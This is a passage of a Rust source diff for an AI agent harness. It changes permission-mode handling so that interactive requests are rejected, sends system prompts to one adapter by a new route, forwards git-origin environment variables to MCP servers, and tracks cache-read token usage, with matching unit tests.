assert_eq!(ninety_first.duration_since(first), Duration::from_secs(60)); + // The interval realigned: the remaining backlog stays paced. + tokio::time::advance(Duration::from_secs(1)).await; + settle().await; + assert_eq!(recv_all(&mut published_rx).len(), 1, "paced after realign"); + + task.abort(); } } @@ -5061,9 +6231,14 @@ mod observer_chunk_coalescer_tests { let events = coalescer.ingest(non_chunk_event(3)); assert_eq!(events.len(), 2); - assert_eq!(events[0].seq, 2); - assert_eq!(chunk_text(&events[0]), "hello world"); - assert_eq!(events[1].kind, "turn_started"); + assert_eq!(events[0].1.seq, 2); + assert_eq!(chunk_text(&events[0].1), "hello world"); + assert_eq!( + events[0].0, 2, + "a merged entry reports every source chunk it absorbed" + ); + assert_eq!(events[1].1.kind, "turn_started"); + assert_eq!(events[1].0, 1); } #[test] @@ -5084,8 +6259,8 @@ mod observer_chunk_coalescer_tests { let events = coalescer.flush(); assert_eq!(events.len(), 2); - assert_eq!(chunk_text(&events[0]), "answer"); - assert_eq!(chunk_text(&events[1]), "thinking"); + assert_eq!(chunk_text(&events[0].1), "answer"); + assert_eq!(chunk_text(&events[1].1), "thinking"); } } @@ -5129,7 +6304,7 @@ mod build_mcp_servers_tests { memory_enabled: false, model: None, session_title: None, - permission_mode: config::PermissionMode::BypassPermissions, + permission_mode: config::PermissionMode::DontAsk, respond_to: config::RespondTo::Anyone, dm_policy: config::DmPolicy::Anyone, respond_to_allowlist: std::collections::HashSet::new(), @@ -5137,6 +6312,7 @@ mod build_mcp_servers_tests { persona_env_vars: vec![], has_generated_codex_config: false, relay_observer: false, + exit_after_inactivity_secs: 0, lazy_pool: false, agent_owner: None, no_base_prompt: false, @@ -5505,7 +6681,7 @@ mod error_outcome_emission_tests { memory_enabled: false, model: None, session_title: None, - permission_mode: config::PermissionMode::BypassPermissions, + permission_mode: config::PermissionMode::DontAsk, respond_to: config::RespondTo::Anyone, dm_policy: config::DmPolicy::Anyone, respond_to_allowlist: HashSet::new(), @@ -5513,6 +6689,7 @@ mod error_outcome_emission_tests { persona_env_vars: vec![], has_generated_codex_config: false, relay_observer: false, + exit_after_inactivity_secs: 0, lazy_pool: false, agent_owner: None, no_base_prompt: false, diff --git a/crates/buzz-acp/src/pool.rs b/crates/buzz-acp/src/pool.rs index dd97789306..067c80fd54 100644 --- a/crates/buzz-acp/src/pool.rs +++ b/crates/buzz-acp/src/pool.rs @@ -31,7 +31,8 @@ use uuid::Uuid; use crate::acp::{ extract_model_config_options, extract_model_state, model_in_catalog, - resolve_model_switch_method, AcpClient, AcpError, McpServer, ModelSwitchMethod, StopReason, + resolve_model_switch_method, AcpClient, AcpError, EnvVar, McpServer, ModelSwitchMethod, + StopReason, SystemPromptTransport, }; use crate::config::{compose_session_title, DedupMode, PermissionMode}; use crate::observer; @@ -224,6 +225,13 @@ pub struct OwnedAgent { pub protocol_version: u32, } +/// Package name reported by `claude-agent-acp` in its `initialize` response. +/// Any adapter reporting this name supports `_meta.systemPrompt: {append: ...}` +/// on `session/new` — the feature landed in v0.6.0 (Oct 2025), before the +/// `@zed-industries/claude-code-acp` → `@agentclientprotocol/claude-agent-acp` +/// rename, so the new name is a reliable capability gate. +const CLAUDE_AGENT_ACP_NAME: &str = "@agentclientprotocol/claude-agent-acp"; + fn has_system_prompt_support( protocol_version: u32, agent_name: &str, @@ -231,20 +239,25 @@ fn has_system_prompt_support( ) -> bool { if agent_name == "goose" { goose_system_prompt_supported == Some(true) + } else if agent_name == CLAUDE_AGENT_ACP_NAME { + true } else { protocol_version >= 2 } } -fn session_new_system_prompt( +fn session_new_system_prompt<'a>( is_goose: bool, protocol_version: u32, - prompt: Option<&str>, -) -> Option<&str> { - if is_goose || protocol_version < 2 { + agent_name: &str, + prompt: Option<&'a str>, +) -> Option> { + if is_goose || (protocol_version < 2 && agent_name != CLAUDE_AGENT_ACP_NAME) { None + } else if agent_name == CLAUDE_AGENT_ACP_NAME { + prompt.map(SystemPromptTransport::ClaudeMeta) } else { - prompt + prompt.map(SystemPromptTransport::Field) } } @@ -1118,13 +1131,32 @@ const UNKNOWN_CHANNEL_NAME: &str = "unknown"; async fn resolve_new_session_channel_context( channel_info: &ChannelInfoResolver, channel_id: Uuid, -) -> (bool, Option) { +) -> (bool, Option, Option) { let Some(info) = channel_info.resolve(channel_id).await else { - return (true, None); + return (true, None, None); }; let is_dm = info.channel_type == "dm"; let title_channel = (!is_dm && info.name != UNKNOWN_CHANNEL_NAME).then_some(info.name); - (is_dm, title_channel) + (is_dm, title_channel, Some(info.channel_type)) +} + +/// What a brand-new ACP session is seeded with, beyond the agent and its +/// `PromptContext`: the memory blocks to frame into the system prompt and the +/// channel the session belongs to. +/// +/// Grouped rather than passed loose so the heartbeat path can say "no channel, +/// no memory" as `SessionSeed::default()` instead of five bare `None`s. +#[derive(Default)] +struct SessionSeed<'a> { + /// `[Agent Memory — core]` block, when the agent has one. + agent_core: Option<&'a str>, + /// `[Channel Canvas]` block for the originating channel. + agent_canvas: Option<&'a str>, + /// Channel name for the session title — `None` for DMs, unresolved and + /// unnamed channels, which then get an unqualified title. + channel_name: Option<&'a str>, + channel_id: Option, + channel_type: Option<&'a str>, } /// Create a new ACP session via `session_new_full()`, populate model capabilities @@ -1136,9 +1168,7 @@ async fn resolve_new_session_channel_context( async fn create_session_and_apply_model( agent: &mut OwnedAgent, ctx: &PromptContext, - agent_core: Option<&str>, - agent_canvas: Option<&str>, - channel_name: Option<&str>, + seed: SessionSeed<'_>, session_mcp_servers: Vec, ) -> Result { // Build base_prompt + system_prompt + agent core + canvas metadata into a @@ -1154,22 +1184,26 @@ async fn create_session_and_apply_model( framed_system_prompt(&ctx.cwd, ctx.base_prompt, ctx.system_prompt.as_deref()), ctx.team_instructions.as_deref(), ), - agent_core, + seed.agent_core, ), - agent_canvas, + seed.agent_canvas, ); let session_title = ctx .session_title .as_deref() - .map(|agent_name| compose_session_title(agent_name, channel_name)); - - let mcp_servers = ctx - .mcp_servers - .iter() - .cloned() - .chain(session_mcp_servers) - .collect(); + .map(|agent_name| compose_session_title(agent_name, seed.channel_name)); + // Git-origin env goes on the configured servers only; the per-session + // browser server is addressed by its own activity id, not by git origin. + let mcp_servers: Vec = mcp_servers_with_git_origin( + &ctx.mcp_servers, + seed.channel_id, + seed.channel_type, + ctx.session_title.as_deref(), + ) + .into_iter() + .chain(session_mcp_servers) + .collect(); let resp = agent .acp .session_new_full( @@ -1178,6 +1212,7 @@ async fn create_session_and_apply_model( session_new_system_prompt( is_goose, agent.protocol_version, + &agent.agent_name, combined_system_prompt.as_deref(), ), session_title.as_deref(), @@ -1266,7 +1301,7 @@ async fn create_session_and_apply_model( // Apply permission mode if not the agent's built-in default AND the agent // advertises the requested mode in session/new. Agents that don't support // the mode (e.g., goose crashes on unrecognized set_config_option values) - // are safely skipped — the harness auto-approves via handle_permission_request. + // are safely skipped — the harness rejects interactive permission requests. if !ctx.permission_mode.is_default() && agent_supports_mode(&resp.raw, ctx.permission_mode.as_wire_str()) { @@ -1276,6 +1311,34 @@ async fn create_session_and_apply_model( Ok(resp.session_id) } +fn mcp_servers_with_git_origin( + servers: &[McpServer], + channel_id: Option, + channel_type: Option<&str>, + agent_name: Option<&str>, +) -> Vec { + let mut servers = servers.to_vec(); + let origin = match (channel_id, channel_type) { + (Some(channel_id), Some("stream")) => Some(EnvVar { + name: "BUZZ_GIT_ORIGIN_CHANNEL_ID".into(), + value: channel_id.to_string(), + }), + (Some(_), _) => agent_name + .filter(|name| !name.trim().is_empty()) + .map(|name| EnvVar { + name: "BUZZ_GIT_ORIGIN_AGENT_NAME".into(), + value: name.trim().to_string(), + }), + (None, _) => None, + }; + if let Some(origin) = origin { + for server in &mut servers { + server.env.push(origin.clone()); + } + } + servers +} + /// Send the appropriate ACP model-switch request with a timeout. /// /// On timeout or error, logs a warning and returns — the caller proceeds @@ -1351,11 +1414,7 @@ async fn apply_model_switch( Ok(()) } -/// Set the session permission mode via `session/set_config_option`. -/// -/// Non-fatal for most errors: logs and proceeds. The agent falls back -/// to its default permission mode (`"default"`), which still works via -/// Check if the agent's `session/new` response advertises a given mode ID +/// Check whether the agent's `session/new` response advertises a given mode ID /// in `result.modes.availableModes[].id`. Returns `false` if the modes /// field is absent or the mode isn't listed. fn agent_supports_mode(session_new_result: &serde_json::Value, mode_wire: &str) -> bool { @@ -1371,7 +1430,11 @@ fn agent_supports_mode(session_new_result: &serde_json::Value, mode_wire: &str) .unwrap_or(false) } -/// per-tool auto-approval in `handle_permission_request`. +/// Set the session permission mode via `session/set_config_option`. +/// +/// Non-fatal for most errors: logs and proceeds. The agent falls back to its +/// default mode, and any interactive permission request is rejected by +/// `handle_permission_request`. /// /// **Fatal exception:** if the agent process exits (e.g., goose crashes on /// unrecognized methods), returns `Err(AgentExited)` so the caller can respawn. @@ -1411,7 +1474,7 @@ async fn apply_permission_mode( Ok(Err(e)) => { tracing::warn!( target: "pool::permission", - "failed to set permission mode {wire:?}: {e} — falling back to per-tool auto-approval" + "failed to set permission mode {wire:?}: {e} — falling back to per-tool rejection" ); } Err(_) => { @@ -1777,14 +1840,15 @@ pub async fn run_prompt_task( // Channel name for the session title, from the same single resolve the // canvas DM check uses — see `resolve_new_session_channel_context`. let mut title_channel: Option = None; + let mut origin_channel_type: Option = None; if let PromptSource::Channel(cid) = &source { let is_new_channel_session = !agent.state.sessions.contains_key(cid); let needs_canvas = is_new_channel_session && !agent.state.canvas_sections.contains_key(cid); - let needs_title = is_new_channel_session && ctx.session_title.is_some(); - if needs_canvas || needs_title { - let (is_dm, resolved_channel) = + if is_new_channel_session { + let (is_dm, resolved_channel, resolved_channel_type) = resolve_new_session_channel_context(&ctx.channel_info, *cid).await; title_channel = resolved_channel; + origin_channel_type = resolved_channel_type; // A confirmed DM never receives a canvas section; an undeterminable // channel type fails closed as a DM for the same reason. if needs_canvas && !is_dm { @@ -1859,9 +1923,13 @@ pub async fn run_prompt_task( create_session_and_apply_model( &mut agent, &ctx, - agent_core.as_deref(), - agent_canvas.as_deref(), - title_channel.as_deref(), + SessionSeed { + agent_core: agent_core.as_deref(), + agent_canvas: agent_canvas.as_deref(), + channel_name: title_channel.as_deref(), + channel_id: Some(*cid), + channel_type: origin_channel_type.as_deref(), + }, browser_servers, ) .await @@ -1913,8 +1981,13 @@ pub async fn run_prompt_task( if let Some(sid) = &agent.state.heartbeat_session { (sid.clone(), false) } else { - match create_session_and_apply_model(&mut agent, &ctx, None, None, None, vec![]) - .await + match create_session_and_apply_model( + &mut agent, + &ctx, + SessionSeed::default(), + vec![], + ) + .await { Ok(sid) => { tracing::info!( @@ -3942,7 +4015,11 @@ pub(crate) fn build_turn_metric_counts( // from input+output. total_tokens: usage.turn_total_tokens, cost_usd: usage.turn_cost_usd, - cache_read_tokens: None, + // Field-local: present when the cumulative counter was monotonic + // across this turn. Zero means no cache hits this turn (not absent). + cache_read_tokens: usage.turn_cache_read_tokens, + // buzz-agent does not emit a cache-write count on the wire today; + // leave None rather than deriving it from other fields. cache_write_tokens: None, }) } else { @@ -3960,7 +4037,13 @@ pub(crate) fn build_turn_metric_counts( // one. Never derived from input+output (NIP-AM MUST NOT). total_tokens: usage.cumulative_total_tokens, cost_usd: usage.cumulative_cost_usd, - cache_read_tokens: None, + // Session-cumulative cache-read tokens; None when the harness never + // reported this field (e.g. goose or older buzz-agent sessions). + // Passes through directly — do not wrap in Some() as the field already + // carries provenance (None vs Some(0) are distinct meanings). + cache_read_tokens: usage.cumulative_cache_read_tokens, + // buzz-agent does not emit a cache-write count on the wire today; + // leave None rather than deriving it from other fields. cache_write_tokens: None, }); (turn_counts, cumulative_counts) @@ -4283,6 +4366,50 @@ mod tests { use nostr::{EventBuilder, Keys, Kind, Tag, Timestamp}; use serde_json::json; + fn test_mcp_server() -> McpServer { + McpServer { + name: "dev".into(), + command: "buzz-dev-mcp".into(), + args: vec![], + env: vec![], + } + } + + #[test] + fn public_session_forwards_channel_origin_to_mcp() { + let channel_id = Uuid::new_v4(); + let servers = mcp_servers_with_git_origin( + &[test_mcp_server()], + Some(channel_id), + Some("stream"), + None, + ); + assert!(servers[0].env.iter().any(|entry| { + entry.name == "BUZZ_GIT_ORIGIN_CHANNEL_ID" && entry.value == channel_id.to_string() + })); + assert!(!servers[0] + .env + .iter() + .any(|entry| entry.name == "BUZZ_GIT_ORIGIN_AGENT_NAME")); + } + + #[test] + fn private_session_forwards_agent_name_without_channel_id() { + let servers = mcp_servers_with_git_origin( + &[test_mcp_server()], + Some(Uuid::new_v4()), + Some("dm"), + Some("Builder"), + ); + assert!(servers[0].env.iter().any(|entry| { + entry.name == "BUZZ_GIT_ORIGIN_AGENT_NAME" && entry.value == "Builder" + })); + assert!(!servers[0] + .env + .iter() + .any(|entry| entry.name == "BUZZ_GIT_ORIGIN_CHANNEL_ID")); + } + // These pin the initial_message dispatch path (run_prompt_task, ~line 855): // a legacy agent WITH a base_prompt must get [Base] prepended to the user // message. This is the exact regression that shipped in the round-2 bug. @@ -4311,18 +4438,48 @@ mod tests { assert!(has_system_prompt_support(2, "goose", Some(true))); assert!(has_system_prompt_support(1, "goose", Some(true))); assert!(has_system_prompt_support(2, "buzz-agent", None)); + // Goose never receives system prompt via session/new (uses post-hoc method). assert_eq!( - session_new_system_prompt(true, 2, Some("instructions")), + session_new_system_prompt(true, 2, "goose", Some("instructions")), None ); + // Protocol-v2 non-goose gets Field transport. assert_eq!( - session_new_system_prompt(false, 2, Some("instructions")), - Some("instructions") + session_new_system_prompt(false, 2, "buzz-agent", Some("instructions")), + Some(SystemPromptTransport::Field("instructions")) ); + // Protocol-v1 non-goose, non-claude gets None (legacy user-message framing). assert_eq!( - session_new_system_prompt(false, 1, Some("instructions")), + session_new_system_prompt(false, 1, "codex", Some("instructions")), None ); + // claude-agent-acp gets ClaudeMeta transport regardless of protocol version. + assert_eq!( + session_new_system_prompt(false, 1, CLAUDE_AGENT_ACP_NAME, Some("instructions")), + Some(SystemPromptTransport::ClaudeMeta("instructions")) + ); + assert_eq!( + session_new_system_prompt(true, 1, CLAUDE_AGENT_ACP_NAME, Some("instructions")), + None, + "goose path must never produce a transport even when agent_name matches" + ); + } + + #[test] + fn claude_agent_acp_has_system_prompt_support_regardless_of_protocol_version() { + // claude-agent-acp declares protocolVersion:1 but supports _meta.systemPrompt; + // has_system_prompt_support must return true so user-message framing is suppressed. + assert!(has_system_prompt_support(1, CLAUDE_AGENT_ACP_NAME, None)); + assert!(has_system_prompt_support(2, CLAUDE_AGENT_ACP_NAME, None)); + } + + #[test] + fn old_zed_adapter_name_falls_through_to_protocol_version_gate() { + // The renamed @zed-industries package predates the _meta.systemPrompt support, + // so it must not be treated as capable and stays on legacy user-message framing. + let old_name = "@zed-industries/claude-code-acp"; + assert!(!has_system_prompt_support(1, old_name, None)); + assert!(has_system_prompt_support(2, old_name, None)); } #[test] @@ -6532,10 +6689,12 @@ mod tests { turn_output_tokens: Some(50), turn_total_tokens: None, turn_cost_usd: None, + turn_cache_read_tokens: None, cumulative_input_tokens: 100, cumulative_output_tokens: 50, cumulative_total_tokens: None, cumulative_cost_usd: None, + cumulative_cache_read_tokens: None, model: None, }; // owner_pubkey = None → early return, no panic. @@ -6566,10 +6725,12 @@ mod tests { turn_output_tokens: Some(80), turn_total_tokens: None, turn_cost_usd: Some(0.001), + turn_cache_read_tokens: None, cumulative_input_tokens: 200, cumulative_output_tokens: 80, cumulative_total_tokens: None, cumulative_cost_usd: Some(0.001), + cumulative_cache_read_tokens: None, model: None, }; // Will try to publish and fail (no real relay) but must not panic. @@ -6601,10 +6762,12 @@ mod tests { turn_output_tokens: Some(20), turn_total_tokens: None, turn_cost_usd: None, + turn_cache_read_tokens: None, cumulative_input_tokens: 150, cumulative_output_tokens: 70, cumulative_total_tokens: None, cumulative_cost_usd: None, + cumulative_cache_read_tokens: None, model: None, }; // Must not panic; HTTP submit will fail (no real relay) — that's fine. @@ -6636,10 +6799,12 @@ mod tests { turn_output_tokens: None, turn_total_tokens: None, turn_cost_usd: None, + turn_cache_read_tokens: None, cumulative_input_tokens: 400, cumulative_output_tokens: 100, cumulative_total_tokens: None, cumulative_cost_usd: None, + cumulative_cache_read_tokens: None, model: None, }; // Will try to publish (encrypt succeeds) and fail HTTP (no relay) — must not panic. @@ -6668,10 +6833,12 @@ mod tests { turn_output_tokens: Some(30), turn_total_tokens: Some(130), // genuine per-turn total turn_cost_usd: None, + turn_cache_read_tokens: None, cumulative_input_tokens: 500, cumulative_output_tokens: 120, cumulative_total_tokens: Some(620), // genuine cumulative total cumulative_cost_usd: None, + cumulative_cache_read_tokens: None, model: None, }; @@ -6715,10 +6882,12 @@ mod tests { turn_output_tokens: Some(60), turn_total_tokens: None, // provider did not supply a total turn_cost_usd: None, + turn_cache_read_tokens: None, cumulative_input_tokens: 200, cumulative_output_tokens: 60, cumulative_total_tokens: None, // session has no total cumulative_cost_usd: None, + cumulative_cache_read_tokens: None, model: None, }; @@ -6758,6 +6927,96 @@ mod tests { ); } + /// A payload with nonzero `accumulatedCachedInputTokens` on the second turn + /// must produce a kind:44200 payload where `cumulative.cacheReadTokens` is + /// nonzero and `turn.cacheReadTokens` reflects the per-turn delta. + /// This is the acceptance-criterion test: it proves the threading is live, + /// not hardcoded to None. + #[test] + fn test_build_turn_metric_counts_cache_read_tokens_thread_through() { + // Wire-parse a buzz-agent payload with cache, run it through the tracker, + // and verify the published TokenCounts carry the cache field. + let raw1 = serde_json::json!({ + "sessionId": "cache-sess", + "update": { + "sessionUpdate": "usage_update", + "accumulatedInputTokens": 15_091, + "accumulatedOutputTokens": 156, + "accumulatedCachedInputTokens": 5_033, + } + }); + let raw2 = serde_json::json!({ + "sessionId": "cache-sess", + "update": { + "sessionUpdate": "usage_update", + "accumulatedInputTokens": 28_500, + "accumulatedOutputTokens": 310, + "accumulatedCachedInputTokens": 11_000, + } + }); + + let mut tracker = crate::usage::UsageTracker::default(); + + // Turn 1 — establish baseline (delta unreliable, but cumulative still present). + tracker.begin_turn("cache-sess"); + if let crate::usage::GooseSessionUpdateVariant::UsageUpdate(p) = + serde_json::from_value::(raw1) + .unwrap() + .update + { + tracker.record("cache-sess", &p); + } + let t1 = tracker.take().expect("turn 1"); + + // Turn 1: cumulative must carry the cache count; turn delta is None (no baseline). + let (turn1, cum1) = crate::pool::build_turn_metric_counts(&t1); + // delta_reliable = false on first turn → no turn counts. + assert!(turn1.is_none(), "first turn: no reliable turn counts"); + let cum1 = cum1.expect("cumulative always present"); + assert_eq!( + cum1.cache_read_tokens, + Some(5_033), + "cumulative.cacheReadTokens must be 5033 after turn 1" + ); + + // Turn 2 — delta reliable. + tracker.begin_turn("cache-sess"); + if let crate::usage::GooseSessionUpdateVariant::UsageUpdate(p) = + serde_json::from_value::(raw2) + .unwrap() + .update + { + tracker.record("cache-sess", &p); + } + let t2 = tracker.take().expect("turn 2"); + + let (turn2, cum2) = crate::pool::build_turn_metric_counts(&t2); + + let turn2 = turn2.expect("reliable turn counts on turn 2"); + // Per-turn cache delta: 11_000 - 5_033 = 5_967. + assert_eq!( + turn2.cache_read_tokens, + Some(5_967), + "turn.cacheReadTokens must be the per-turn delta" + ); + // cache_write_tokens is always None — buzz-agent doesn't emit it. + assert!( + turn2.cache_write_tokens.is_none(), + "cache_write_tokens must be None — not emitted by buzz-agent" + ); + + let cum2 = cum2.expect("cumulative always present"); + assert_eq!( + cum2.cache_read_tokens, + Some(11_000), + "cumulative.cacheReadTokens must be 11_000 after turn 2" + ); + assert!( + cum2.cache_write_tokens.is_none(), + "cache_write_tokens must be None on cumulative too" + ); + } + fn make_prompt_context_no_owner() -> PromptContext { let agent_keys = nostr::Keys::generate(); make_prompt_context_impl(&agent_keys, None) @@ -7188,12 +7447,14 @@ mod tests { let response = channel_metadata_response(id, &[["name", "buzz-dev"], ["t", "stream"]]); let (resolver, requests, server) = counting_resolver(response).await; - let (is_dm, title_channel) = resolve_new_session_channel_context(&resolver, id).await; + let (is_dm, title_channel, channel_type) = + resolve_new_session_channel_context(&resolver, id).await; assert!(!is_dm, "a stream channel is not a DM"); assert_eq!(title_channel.as_deref(), Some("buzz-dev")); + assert_eq!(channel_type.as_deref(), Some("stream")); assert_eq!(requests.load(Ordering::SeqCst), 1); - let (_, again) = resolve_new_session_channel_context(&resolver, id).await; + let (_, again, _) = resolve_new_session_channel_context(&resolver, id).await; assert_eq!(again.as_deref(), Some("buzz-dev")); assert_eq!( requests.load(Ordering::SeqCst), @@ -7211,8 +7472,10 @@ mod tests { let response = channel_metadata_response(id, &[["name", "DM"], ["t", "dm"]]); let (resolver, _requests, server) = counting_resolver(response).await; - let (is_dm, title_channel) = resolve_new_session_channel_context(&resolver, id).await; + let (is_dm, title_channel, channel_type) = + resolve_new_session_channel_context(&resolver, id).await; assert!(is_dm); + assert_eq!(channel_type.as_deref(), Some("dm")); assert_eq!( title_channel, None, "a DM name must never reach the session title" @@ -7229,7 +7492,7 @@ mod tests { let response = channel_metadata_response(id, &[["t", "stream"]]); let (resolver, _requests, server) = counting_resolver(response).await; - let (is_dm, title_channel) = resolve_new_session_channel_context(&resolver, id).await; + let (is_dm, title_channel, _) = resolve_new_session_channel_context(&resolver, id).await; assert!(!is_dm, "a nameless stream channel is still not a DM"); assert_eq!( title_channel, None, @@ -7249,10 +7512,11 @@ mod tests { let (resolver, requests, server) = counting_resolver(json!([])).await; - let (is_dm, title_channel) = + let (is_dm, title_channel, channel_type) = resolve_new_session_channel_context(&resolver, Uuid::new_v4()).await; assert!(is_dm, "an undeterminable channel type must fail closed"); assert_eq!(title_channel, None, "unresolved channels get a bare title"); + assert_eq!(channel_type, None); assert_eq!( requests.load(Ordering::SeqCst), 2, diff --git a/crates/buzz-acp/src/queue.rs b/crates/buzz-acp/src/queue.rs index 1914fba045..3dd6f67076 100644 --- a/crates/buzz-acp/src/queue.rs +++ b/crates/buzz-acp/src/queue.rs @@ -646,6 +646,11 @@ impl EventQueue { self.in_flight_channels.contains(&channel_id) } + /// Whether any channel currently has a turn in flight. + pub fn has_in_flight(&self) -> bool { + !self.in_flight_channels.is_empty() + } + // ── Goose-native steer withhold (side table) ────────────────────────── // // While a goose-native `_goose/unstable/session/steer` write is in flight diff --git a/crates/buzz-acp/src/relay.rs b/crates/buzz-acp/src/relay.rs index aea5cee077..2cbb82411f 100644 --- a/crates/buzz-acp/src/relay.rs +++ b/crates/buzz-acp/src/relay.rs @@ -106,9 +106,12 @@ const REQ_PACING_INTERVAL: Duration = Duration::from_millis(125); /// blocked for more than one REQ's worth of I/O between drain ticks. const DRAIN_BUDGET_PER_ITER: usize = 1; /// Maximum observer telemetry frames parked while the rate-limit gate is armed -/// (or the socket is down). The upstream pacer feeds at most ~6 frames/s, so -/// this covers ~40 s of gating; beyond that the oldest frames are dropped with -/// visible accounting (`gated_observer_dropped`). +/// (or the socket is down). The upstream publisher ships at most ONE batched +/// frame per second GLOBALLY (one publish slot per tick, regardless of how +/// many channels are active), so this covers ~4 minutes of gating; beyond that +/// the oldest frames are dropped with visible accounting +/// (`gated_observer_dropped`). Note each dropped frame may carry a whole batch +/// of events, so event-level loss is larger than the frame count. const GATED_OBSERVER_QUEUE_CAP: usize = 256; use std::time::Instant; diff --git a/crates/buzz-acp/src/usage.rs b/crates/buzz-acp/src/usage.rs index 1629eee935..56b772d12c 100644 --- a/crates/buzz-acp/src/usage.rs +++ b/crates/buzz-acp/src/usage.rs @@ -85,12 +85,16 @@ pub(crate) struct UsageUpdatePayload { pub context_limit: u64, pub accumulated_input_tokens: u64, pub accumulated_output_tokens: u64, - /// The cache-served subset of `accumulated_input_tokens`. Optional — goose - /// does not send it, and buzz-agent only reports a non-zero value when the - /// provider returned a cache split, so `0` legitimately means either "no - /// cache hits" or "provider reported none". - #[serde(default)] - pub accumulated_cached_input_tokens: u64, + /// The cache-served subset of `accumulated_input_tokens`. + /// + /// `None` when the harness did not include the field (e.g. goose, which + /// never emits it). `Some(0)` when the harness explicitly reported zero + /// cache hits. The distinction matters: `None` means "we don't know", + /// while `Some(0)` means "provider confirmed no cache was used". + /// + /// Do NOT use `#[serde(default)]` here — that would collapse the absent + /// case into `Some(0)` and destroy provenance in the append-only archive. + pub accumulated_cached_input_tokens: Option, pub accumulated_cost: Option, /// Session-cumulative genuine provider total tokens. Optional — only /// emitted by buzz-agent when every turn in the session so far supplied a @@ -125,6 +129,12 @@ struct SessionState { /// `None` when the session has never emitted a provider total (Unseen) or /// when any prior turn lacked one (poisoned). last_total: Option, + /// Cumulative cache-read input tokens at the end of the LAST PUBLISHED turn. + /// `None` when the harness has never reported this field (e.g. goose). + /// `Some(n)` when at least one payload included the field. Field-local: + /// a decrease in this counter taints only the cache-read delta, not + /// `delta_reliable` or the input/output deltas. + last_cached_input: Option, } /// Per-turn usage record exposed to `TurnCompletionGuard` for NIP-AM publishing. @@ -151,6 +161,12 @@ pub struct TurnUsage { /// Per-turn cost delta (`current − previous`); `None` when unreliable or /// either snapshot is missing. pub turn_cost_usd: Option, + /// Per-turn cache-read token delta (`current − previous`); `None` when no + /// baseline exists, either snapshot is `None` (harness did not report it), + /// or the cumulative counter decreased (field-local taint). Field-local: + /// a decrease here never flips `delta_reliable` or invalidates the + /// input/output deltas. + pub turn_cache_read_tokens: Option, /// Session-cumulative input tokens as reported by goose at end of turn. pub cumulative_input_tokens: u64, /// Session-cumulative output tokens as reported by goose at end of turn. @@ -160,6 +176,11 @@ pub struct TurnUsage { pub cumulative_total_tokens: Option, /// Session-cumulative estimated cost in USD; `None` if goose did not report it. pub cumulative_cost_usd: Option, + /// Session-cumulative cache-read input tokens as reported by buzz-agent. + /// `None` when the harness has never reported this field (e.g. goose or + /// any harness that omits `accumulatedCachedInputTokens`). + /// `Some(0)` when the harness reported zero cache hits. + pub cumulative_cache_read_tokens: Option, /// Effective model id for this turn (maps to NIP-AM `model`). `None` if the /// harness did not include the model in its usage notification. pub model: Option, @@ -239,6 +260,7 @@ impl UsageTracker { let current_output = payload.accumulated_output_tokens; let current_cost = payload.accumulated_cost; let current_total = payload.accumulated_total_tokens; + let current_cached_input = payload.accumulated_cached_input_tokens; // Determine whether this session is currently in-flight so we know // whether to set `pending`. We compute the delta regardless so that @@ -294,6 +316,21 @@ impl UsageTracker { None => None, // no baseline yet }; + // Cache-read token delta: field-local — never affects `delta_reliable` + // or the input/output deltas. Null when: no baseline exists, either + // snapshot is None (harness did not report the field), or the cumulative + // counter decreased (harness restart, overflow). + // Some(0) is a valid result when both snapshots are Some(0) — it means + // the harness confirmed zero cache hits this turn, not that data is absent. + let turn_cache_read = match self.sessions.get(session_id) { + Some(prev) => match (current_cached_input, prev.last_cached_input) { + (Some(cur), Some(p)) if cur >= p => Some(cur - p), + (Some(_), Some(_)) => None, // decrease → field-local taint + _ => None, // either snapshot absent → no delta + }, + None => None, // no baseline yet + }; + if is_in_flight { // In-flight-match: update pending with the latest cumulative values. // Baseline is NOT advanced here — it advances only on take(). @@ -305,10 +342,12 @@ impl UsageTracker { turn_output_tokens: turn_output, turn_total_tokens: turn_total, turn_cost_usd: turn_cost, + turn_cache_read_tokens: turn_cache_read, cumulative_input_tokens: current_input, cumulative_output_tokens: current_output, cumulative_total_tokens: current_total, cumulative_cost_usd: current_cost, + cumulative_cache_read_tokens: current_cached_input, model: payload.model.clone(), }); } else if self.in_flight_session.is_none() { @@ -327,6 +366,7 @@ impl UsageTracker { last_output: current_output, last_cost: current_cost, last_total: current_total, + last_cached_input: current_cached_input, }, ); } @@ -355,6 +395,7 @@ impl UsageTracker { last_output: record.cumulative_output_tokens, last_cost: record.cumulative_cost_usd, last_total: record.cumulative_total_tokens, + last_cached_input: record.cumulative_cache_read_tokens, }, ); Some(record) @@ -366,9 +407,9 @@ mod tests { use super::*; /// The camelCase key buzz-agent actually puts on the wire must land on the - /// field. A rename mismatch here would deserialize to the serde default of - /// 0, and every trial would price as if nothing had ever been cached — the - /// exact silent failure this field was added to remove. + /// field. A rename mismatch here would deserialize to None, and every trial + /// would be treated as "not reported" — the exact silent failure this field + /// was added to remove. #[test] fn cached_input_tokens_deserialize_from_the_wire_key() { let p: UsageUpdatePayload = serde_json::from_value(serde_json::json!({ @@ -379,13 +420,14 @@ mod tests { "accumulatedCachedInputTokens": 5_033, })) .expect("payload must deserialize"); - assert_eq!(p.accumulated_cached_input_tokens, 5_033); - assert!(p.accumulated_cached_input_tokens <= p.accumulated_input_tokens); + assert_eq!(p.accumulated_cached_input_tokens, Some(5_033)); + assert!(p.accumulated_cached_input_tokens.unwrap() <= p.accumulated_input_tokens); } - /// goose does not send the field; its payloads must still deserialize. + /// goose does not send the field; its payloads must deserialize with None — + /// not zero — so that "not reported" is preserved distinct from "reported zero". #[test] - fn a_payload_without_the_cache_field_defaults_to_zero() { + fn a_payload_without_the_cache_field_deserializes_as_none() { let p: UsageUpdatePayload = serde_json::from_value(serde_json::json!({ "used": 500, "contextLimit": 200_000, @@ -393,7 +435,28 @@ mod tests { "accumulatedOutputTokens": 100, })) .expect("payload must deserialize without the cache field"); - assert_eq!(p.accumulated_cached_input_tokens, 0); + assert!( + p.accumulated_cached_input_tokens.is_none(), + "absent field must be None, not Some(0)" + ); + } + + /// A harness that explicitly reports zero cache hits must produce Some(0), + /// not None — so downstream analytics can distinguish "confirmed zero" from + /// "not reported". + #[test] + fn a_payload_with_explicit_zero_cache_field_deserializes_as_some_zero() { + let p: UsageUpdatePayload = serde_json::from_value(serde_json::json!({ + "accumulatedInputTokens": 400, + "accumulatedOutputTokens": 100, + "accumulatedCachedInputTokens": 0, + })) + .expect("payload must deserialize with zero cache field"); + assert_eq!( + p.accumulated_cached_input_tokens, + Some(0), + "explicit zero must be Some(0), not None" + ); } fn payload(input: u64, output: u64, cost: 